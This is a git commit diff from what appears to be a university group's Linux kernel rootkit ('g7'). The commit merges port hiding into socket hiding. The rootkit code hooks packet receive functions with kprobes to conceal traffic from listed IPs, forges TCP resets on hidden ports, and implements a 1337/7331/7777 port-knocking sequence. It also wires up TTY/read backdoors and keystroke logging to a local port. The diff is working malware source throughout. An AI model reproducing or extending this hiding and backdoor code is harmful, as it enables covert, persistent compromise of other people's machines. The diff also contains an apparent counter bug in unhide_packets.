commit 16b8e2699c1b2342acc2fdefade63fccc36a13c2
parent 8367b922a3c34768ad3ae184c69ce17f8e611908
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 10 Jan 2021 13:24:13 +0100
merges port hiding code with socket hiding
Diffstat:
13 files changed, 146 insertions(+), 248 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -36,7 +36,6 @@ report_channels(void)
DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE);
- DEBUG_NOTICE("%-24s %#10lx\n", "PORTHIDE", G7_PORTHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING);
@@ -55,7 +54,6 @@ detect_channel(unsigned cmd)
case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide };
case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide };
case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide };
- case G7_PORTHIDE: return (channel_t){ "PORTHIDE", handle_porthide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging };
@@ -276,32 +274,6 @@ handle_packhide(unsigned long arg)
}
int
-handle_porthide(unsigned long arg)
-{
- unsigned sarg = (unsigned)(arg % 65536);
-
- if (!sarg) {
- unhide_lports();
- rootkit.hiding_ports = 0;
- DEBUG_NOTICE("[g7] porthide off\n");
- } else if (sarg < 0) {
- unhide_lport((port_t)(-sarg));
- DEBUG_NOTICE("[g7] unhiding port %d\n", -sarg);
- } else if (sarg > 0) {
- if (!rootkit.hiding_ports) {
- hide_lports();
- DEBUG_NOTICE("[g7] porthide on\n");
- }
-
- hide_lport((port_t)sarg);
- rootkit.hiding_ports = 1;
- DEBUG_NOTICE("[g7] hiding port %d\n", sarg);
- }
-
- return 0;
-}
-
-int
handle_backdoor(unsigned long arg)
{
char buf[BUFLEN];
diff --git a/src/channel.h b/src/channel.h
@@ -18,7 +18,6 @@ int handle_pidhide(unsigned long);
int handle_tcphide(unsigned long);
int handle_udphide(unsigned long);
int handle_packhide(unsigned long);
-int handle_porthide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
int handle_logging(unsigned long);
diff --git a/src/common.h b/src/common.h
@@ -9,4 +9,11 @@
#define DEBUG_NOTICE(...) do{} while (0)
#endif
+typedef enum {
+ v4,
+ v6
+} ip_version;
+
+typedef u8 ip_t[16];
+
#endif//_GROUP7_COMMON_H
diff --git a/src/g7.c b/src/g7.c
@@ -45,8 +45,7 @@ rootkit_t rootkit = {
.hiding_open = true,
.hiding_pids = true,
.hiding_sockets = true,
- .hiding_packets = false,
- .hiding_ports = true,
+ .hiding_packets = true,
.logging_input = true,
.backdoor = BD_TTY,
};
diff --git a/src/hook.c b/src/hook.c
@@ -22,7 +22,7 @@
#include "read.h"
#include "inputlog.h"
#include "sockhide.h"
-/* #include "packhide.h" */
+#include "packhide.h"
#include "porthide.h"
extern rootkit_t rootkit;
@@ -63,6 +63,7 @@ init_hooks(void)
atomic_set(&read_install_count, 0);
atomic_set(&tty_read_install_count, 0);
atomic_set(&getdents_install_count, 0);
+ atomic_set(&packet_rcv_install_count, 0);
atomic_set(&read_count, 0);
atomic_set(&tty_read_count, 0);
@@ -89,16 +90,14 @@ init_hooks(void)
if (rootkit.hiding_sockets)
hide_sockets();
- /* if (rootkit.hiding_packets) */
- /* hide_packets(); */
+ if (rootkit.hiding_packets)
+ hide_packets();
- if (rootkit.hiding_ports)
- hide_lports();
-
- if (rootkit.backdoor == BD_READ)
- backdoor_read();
- else if (rootkit.backdoor == BD_TTY)
- backdoor_tty();
+ switch (rootkit.backdoor) {
+ case BD_READ: backdoor_read(); break;
+ case BD_TTY: backdoor_tty(); break;
+ default: break;
+ }
if (rootkit.logging_input)
log_input("127.0.0.1", "5000");
@@ -124,11 +123,8 @@ remove_hooks(void)
if (rootkit.hiding_sockets)
unhide_sockets();
- /* if (rootkit.hiding_packets) */
- /* unhide_packets(); */
-
- if (rootkit.hiding_ports)
- unhide_lports();
+ if (rootkit.hiding_packets)
+ unhide_packets();
if (rootkit.backdoor != BD_OFF)
unbackdoor();
diff --git a/src/hook.h b/src/hook.h
@@ -15,6 +15,7 @@ typedef struct {
extern atomic_t read_install_count;
extern atomic_t getdents_install_count;
+extern atomic_t packet_rcv_install_count;
extern atomic_t read_count;
extern atomic_t tty_read_count;
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -12,9 +12,8 @@
#define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *)
#define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *)
#define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *)
-#define G7_PORTHIDE _IOR(G7_MAGIC_NUMBER, 0x8, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x9, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0xa, char *)
-#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xb, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *)
+#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/packhide.c b/src/packhide.c
@@ -10,9 +10,14 @@
#include <linux/in.h>
#include <linux/ipv6.h>
-#include "common.h"
+#include "rootkit.h"
#include "hook.h"
#include "packhide.h"
+#include "porthide.h"
+
+extern rootkit_t rootkit;
+
+atomic_t packet_rcv_install_count;
ip_list_t hidden_ips = {
.ip = { 0 },
@@ -43,34 +48,38 @@ static struct kprobe p_rcv_spkt = {
void
hide_packets(void)
{
- p_rcv.pre_handler = g7_packet_rcv;
- p_rcv.post_handler = g7_post;
- p_rcv.fault_handler = g7_fault;
+ if (atomic_inc_return(&packet_rcv_install_count) == 1) {
+ p_rcv.pre_handler = g7_packet_rcv;
+ p_rcv.post_handler = g7_post;
+ p_rcv.fault_handler = g7_fault;
- tp_rcv.pre_handler = g7_packet_rcv;
- tp_rcv.post_handler = g7_post;
- tp_rcv.fault_handler = g7_fault;
+ tp_rcv.pre_handler = g7_packet_rcv;
+ tp_rcv.post_handler = g7_post;
+ tp_rcv.fault_handler = g7_fault;
- p_rcv_spkt.pre_handler = g7_packet_rcv;
- p_rcv_spkt.post_handler = g7_post;
- p_rcv_spkt.fault_handler = g7_fault;
+ p_rcv_spkt.pre_handler = g7_packet_rcv;
+ p_rcv_spkt.post_handler = g7_post;
+ p_rcv_spkt.fault_handler = g7_fault;
- if (register_kprobe(&p_rcv))
- DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
+ if (register_kprobe(&p_rcv))
+ DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
- if (register_kprobe(&tp_rcv))
- DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
+ if (register_kprobe(&tp_rcv))
+ DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
- if (register_kprobe(&p_rcv_spkt))
- DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
+ if (register_kprobe(&p_rcv_spkt))
+ DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
+ }
}
void
unhide_packets(void)
{
- unregister_kprobe(&p_rcv);
- unregister_kprobe(&tp_rcv);
- unregister_kprobe(&p_rcv_spkt);
+ if (atomic_dec_return(&getdents_install_count) == 0) {
+ unregister_kprobe(&p_rcv);
+ unregister_kprobe(&tp_rcv);
+ unregister_kprobe(&p_rcv_spkt);
+ }
}
void
@@ -113,7 +122,10 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
{
struct sk_buff *skb;
skb = (struct sk_buff *)pt_regs->di;
- u8 protocol = 0;
+
+ u8 protocol;
+ u8 ip[16] = { 0 };
+ ip_version version;
char *data = skb_network_header(skb);
char ver = data[0];
@@ -123,38 +135,77 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
pt_regs->di = (long unsigned int)clone;
- if ((ver == 0x60)) {
+ if (ver == 0x60) {
struct ipv6hdr *iphdr;
iphdr = ipv6_hdr(clone);
protocol = iphdr->nexthdr;
+ version = v6;
+ memcpy(ip, (u8 *)&iphdr->daddr, 16);
- if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6)
- || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6))
- clone->pkt_type = PACKET_LOOPBACK;
- } else if ((ver == 0x40)) {
+ if (rootkit.hiding_packets) {
+ if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6)
+ || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6))
+ clone->pkt_type = PACKET_LOOPBACK;
+ }
+ } else if (ver == 0x40) {
struct iphdr *iphdr;
iphdr = ip_hdr(clone);
protocol = iphdr->protocol;
+ version = v4;
+ memcpy(ip, (u8 *)&iphdr->daddr, 4);
- if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4)
- || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4))
- clone->pkt_type = PACKET_LOOPBACK;
- }
-
- // We need to intercept (RST) the TCP handshake
- if (protocol == IPPROTO_TCP) {
- struct tcphdr *tcphdr;
-
- tcphdr = (struct tcphdr *)skb_transport_header(skb);
- unsigned src_port = (unsigned)ntohs(tcphdr->source);
-
- if (src_port == 8080) { // list_contains_port(...)
- if (tcphdr->syn) {
- tcphdr->syn = 0;
- tcphdr->rst = 1;
+ if (rootkit.hiding_packets) {
+ if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4)
+ || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4))
+ clone->pkt_type = PACKET_LOOPBACK;
+ }
+ } else
+ return 0;
+
+ if (rootkit.hiding_sockets) {
+ // We need to intercept (RST) the TCP handshake
+ if (protocol == IPPROTO_TCP) {
+ struct tcphdr *tcphdr;
+
+ tcphdr = (struct tcphdr *)skb_transport_header(skb);
+ unsigned src_port = (unsigned)ntohs(tcphdr->source);
+
+ if (list_contains_knock(&ips_stage3, ip, version))
+ return 0;
+
+ if (tcphdr->syn || !tcphdr->ack)
+ goto check_port;
+
+ if (list_contains_knock(&ips_stage2, ip, version)) {
+ if (stage3_knock(src_port)) {
+ DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port);
+ add_knock_to_list(&ips_stage3_tail, ip, version);
+ }
+
+ remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version);
+ } else if (list_contains_knock(&ips_stage1, ip, version)) {
+ if (stage2_knock(src_port)) {
+ add_knock_to_list(&ips_stage2_tail, ip, version);
+ DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port);
+ }
+
+ remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version);
+ } else {
+ if (stage1_knock(src_port)) {
+ DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port);
+ add_knock_to_list(&ips_stage1_tail, ip, version);
+ }
}
+
+check_port:
+ if (list_contains_lport(&hidden_lports, src_port))
+ if (tcphdr->syn) {
+ tcphdr->syn = 0;
+ tcphdr->ack = 0;
+ tcphdr->rst = 1;
+ }
}
}
diff --git a/src/packhide.h b/src/packhide.h
@@ -1,12 +1,7 @@
#ifndef _GROUP7_PACKHIDE_H
#define _GROUP7_PACKHIDE_H
-typedef enum {
- v4,
- v6
-} ip_version;
-
-typedef u8 ip_t[16];
+#include "common.h"
typedef struct ip_list *ip_list_t_ptr;
typedef struct ip_list {
diff --git a/src/porthide.c b/src/porthide.c
@@ -14,8 +14,7 @@
#include "hook.h"
#include "porthide.h"
-
-// stage 1: 1337
+// knock stage 1: 1337
knock_list_t ips_stage1 = {
.ip = { 0 },
.version = -1,
@@ -25,7 +24,7 @@ knock_list_t ips_stage1 = {
knock_list_t_ptr ips_stage1_tail = &ips_stage1;
-// stage 2: 7331
+// knock stage 2: 7331
knock_list_t ips_stage2 = {
.ip = { 0 },
.version = -1,
@@ -35,7 +34,7 @@ knock_list_t ips_stage2 = {
knock_list_t_ptr ips_stage2_tail = &ips_stage2;
-// stage 3: 7777
+// knock stage 3: 7777
knock_list_t ips_stage3 = {
.ip = { 0 },
.version = -1,
@@ -53,58 +52,6 @@ lport_list_t hidden_lports = {
lport_list_t_ptr hidden_lports_tail = &hidden_lports;
-static int g7_packet_rcv(struct kprobe *, struct pt_regs *);
-static int g7_fault(struct kprobe *, struct pt_regs *, int);
-static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long);
-
-// TODO store in array of kprobes
-static struct kprobe p_rcv = {
- .symbol_name = "packet_rcv",
-};
-
-static struct kprobe tp_rcv = {
- .symbol_name = "tpacket_rcv",
-};
-
-static struct kprobe p_rcv_spkt = {
- .symbol_name = "packet_rcv_spkt",
-};
-
-void
-hide_lports(void)
-{
- p_rcv.pre_handler = g7_packet_rcv;
- p_rcv.post_handler = g7_post;
- p_rcv.fault_handler = g7_fault;
-
- tp_rcv.pre_handler = g7_packet_rcv;
- tp_rcv.post_handler = g7_post;
- tp_rcv.fault_handler = g7_fault;
-
- p_rcv_spkt.pre_handler = g7_packet_rcv;
- p_rcv_spkt.post_handler = g7_post;
- p_rcv_spkt.fault_handler = g7_fault;
-
- if (register_kprobe(&p_rcv))
- DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
-
- if (register_kprobe(&tp_rcv))
- DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
-
- if (register_kprobe(&p_rcv_spkt))
- DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
-
- hide_lport(8080);
-}
-
-void
-unhide_lports(void)
-{
- unregister_kprobe(&p_rcv);
- unregister_kprobe(&tp_rcv);
- unregister_kprobe(&p_rcv_spkt);
-}
-
void
hide_lport(lport_t lport)
{
@@ -118,99 +65,22 @@ unhide_lport(lport_t lport)
remove_lport_from_list(hidden_lports_tail, lport);
}
-static int
-g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
+bool
+stage1_knock(lport_t port)
{
- struct sk_buff *skb;
- skb = (struct sk_buff *)pt_regs->di;
-
- u8 protocol = 0;
- u8 ip[16] = { 0 };
- ip_version version;
-
- char *data = skb_network_header(skb);
- char ver = data[0];
-
- ver &= 0xf0;
-
- struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
- pt_regs->di = (long unsigned int)clone;
-
- if ((ver == 0x60)) {
- struct ipv6hdr *iphdr;
-
- iphdr = ipv6_hdr(clone);
- protocol = iphdr->nexthdr;
- version = v6;
- memcpy(ip, (u8 *)&iphdr->daddr, 16);
-
- } else if ((ver == 0x40)) {
- struct iphdr *iphdr;
-
- iphdr = ip_hdr(clone);
- protocol = iphdr->protocol;
- version = v4;
- memcpy(ip, (u8 *)&iphdr->daddr, 4);
-
- } else
- return 0;
-
- // We need to intercept (RST) the TCP handshake
- if (protocol == IPPROTO_TCP) {
- struct tcphdr *tcphdr;
-
- tcphdr = (struct tcphdr *)skb_transport_header(skb);
- unsigned src_port = (unsigned)ntohs(tcphdr->source);
-
- if (list_contains_knock(&ips_stage3, ip, version))
- return 0;
-
- if (tcphdr->syn || !tcphdr->ack)
- goto check_port;
-
- if (list_contains_knock(&ips_stage2, ip, version)) {
- if (src_port == 7777) {
- DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port);
- add_knock_to_list(&ips_stage3_tail, ip, version);
- }
-
- remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version);
- } else if (list_contains_knock(&ips_stage1, ip, version)) {
- if (src_port == 7331) {
- add_knock_to_list(&ips_stage2_tail, ip, version);
- DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port);
- }
-
- remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version);
- } else {
- if (src_port == 1337) {
- DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port);
- add_knock_to_list(&ips_stage1_tail, ip, version);
- }
- }
-
-check_port:
- if (list_contains_lport(&hidden_lports, src_port))
- if (tcphdr->syn) {
- tcphdr->syn = 0;
- tcphdr->ack = 0;
- tcphdr->rst = 1;
- }
- }
-
- return 0;
+ return port == 1337;
}
-static void
-g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags)
+bool
+stage2_knock(lport_t port)
{
- return;
+ return port == 7331;
}
-static int
-g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr)
+bool
+stage3_knock(lport_t port)
{
- return 0;
+ return port == 7777;
}
void
diff --git a/src/porthide.h b/src/porthide.h
@@ -1,14 +1,7 @@
#ifndef _GROUP7_PORTHIDE_H
#define _GROUP7_PORTHIDE_H
-#include "packhide.h"
-
-/* typedef enum { */
-/* v4, */
-/* v6 */
-/* } ip_version; */
-
-/* typedef u8 ip_t[16]; */
+#include "common.h"
typedef struct knock_list *knock_list_t_ptr;
typedef struct knock_list {
@@ -18,6 +11,14 @@ typedef struct knock_list {
knock_list_t_ptr next;
} knock_list_t;
+extern knock_list_t ips_stage1;
+extern knock_list_t ips_stage2;
+extern knock_list_t ips_stage3;
+
+extern knock_list_t_ptr ips_stage1_tail;
+extern knock_list_t_ptr ips_stage2_tail;
+extern knock_list_t_ptr ips_stage3_tail;
+
typedef unsigned lport_t;
typedef struct lport_list *lport_list_t_ptr;
@@ -38,6 +39,10 @@ void unhide_lports(void);
void hide_lport(lport_t);
void unhide_lport(lport_t);
+bool stage1_knock(lport_t);
+bool stage2_knock(lport_t);
+bool stage3_knock(lport_t);
+
bool list_contains_lport(lport_list_t_ptr, lport_t);
lport_list_t_ptr find_lport_in_list(lport_list_t_ptr, lport_t);
lport_list_t_ptr add_lport_to_list(lport_list_t_ptr, lport_t);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -17,7 +17,6 @@ typedef struct {
bool hiding_open;
bool hiding_sockets;
bool hiding_packets;
- bool hiding_ports;
bool logging_input;
bd_state_t backdoor;
} rootkit_t;
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -9,6 +9,7 @@
#include "common.h"
#include "hook.h"
#include "sockhide.h"
+#include "packhide.h"
port_list_t hidden_ports = {
.port = -1,
@@ -66,6 +67,8 @@ hide_sockets(void)
= (void *)g7_udp6_seq_show;
enable_protection();
+
+ hide_packets();
}
}
@@ -90,6 +93,8 @@ unhide_sockets(void)
enable_protection();
sys_recvmsg = NULL;
+
+ unhide_packets();
}
}